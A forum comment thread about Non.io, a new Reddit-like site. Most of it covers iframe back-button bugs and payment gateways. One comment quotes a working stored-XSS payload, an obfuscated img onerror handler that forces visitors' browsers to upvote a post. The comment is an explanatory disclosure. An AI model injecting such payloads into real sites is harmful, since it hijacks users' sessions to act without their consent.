News for hackers. Stuff that matters.
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by neogodless on Monday June 12, 2023 @02:10PM (#36298240)
Oof, I clicked one of those posts and immediately lost all back-button functionality to an endless stream of history events.
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by jjcm on Monday June 12, 2023 @02:20PM (#36298425)
Was it the "Daniel's Site" post? There's some weird interactions I'm finding with that iframe'd html upload and the history events.
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by jefozabuss on Monday June 12, 2023 @04:26PM (#36300511)
As someone who dealt with payment iframes in SPAs I'm so happy I don't have to use any iframes nowadays. There are a few articles how you can "kind of track" when the iframe caused extra history entries then you need to increase your back navigation by the count of them, it was a mess back in the days so not sure how is it solved nowadays.
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by _madmax_ on Monday June 12, 2023 @07:01PM (#36302589)
Today you can still use iframes but most gateways now provide a tokenization api that provides the form to produce the tokenized cc. Afaik tokenized cc isn't falling under PCI.

My big issues with iframes is the checkout process which inevitably has to make callbacks to your api with the results of the transaction. If you're behind any sort of firewall (like most businesses are) you're in for a world of http pain.

Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by WesolyKubeczek on Tuesday June 13, 2023 @05:47AM (#36307821)
The payment gateways still use iframes, they just don’t tell you that.

This is also why styling such forms is always some species of wonky.

Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by abhibeckert on Tuesday June 13, 2023 @10:20AM (#36310586)
The gateways I use don't, or at least give me the option not to.

Those iFrames cause all kinds of headaches when the user hits the back button or double clicks a submit button or does any number of other things that happen thousands of times a day on a moderately high traffic site, and when it messes up you either miss out on a sale (ouch) or charge the customer twice (double ouch).

Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by WesolyKubeczek on Tuesday June 13, 2023 @12:14PM (#36312403)
> The gateways I use don't, or at least give me the option not to.

They usually don't tell you they do. For example, both Stripe and Square use iFrames; otherwise it's not possible to hide credit card entry from your main application.

There are gateways that redirect you away and return you back after payment, but that's a whole another story.

Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by _madmax_ on Tuesday June 13, 2023 @08:15PM (#36319521)
You're right, but it's worth noting that the iframes used today are better at hiding the fact that they're iframes, it's usually hidden behind an API call from a library that you import, and that doesn't affect your browsing history, or at least not as bad as those huge forms used in the past that would essentially replace the page you're on for the sake of paying.
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by spc476 on Monday June 12, 2023 @10:47PM (#36304513)
I tried right clicking to open the link in a new tab, and found I couldn't. What is it with these bespoke browsers written in JavaScript?
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by oefrha on Tuesday June 13, 2023 @09:44AM (#36310144)
Also, when I visit the #all page I get two weird window.alert()’s, first says 5, second says 1. I’m on mobile Safari now so can’t really investigate, but is the site getting script injected??
Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by AntonyGarand on Tuesday June 13, 2023 @09:54AM (#36310267)
Yes, the site is vulnerable to XSS, couple of interesting payloads on there so far

The current top post uses this XSS to have users upvote it:

<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">

Which sends a POST request to `posttag/add-vote` for the post labeled `x`

Re:Show HN: Non.io, a Reddit-like platform Ive been working ... by lyu07282 on Tuesday June 13, 2023 @11:25AM (#36311639)
I suppose that makes sense if you get payed for upvotes, stored xss is probably just the most low hanging fruit, if they messed that up I'd expect everything from csrf, clickjacking, sqli and more, everyone has the incentive to look and exploit. They should probably get a thorough white box review.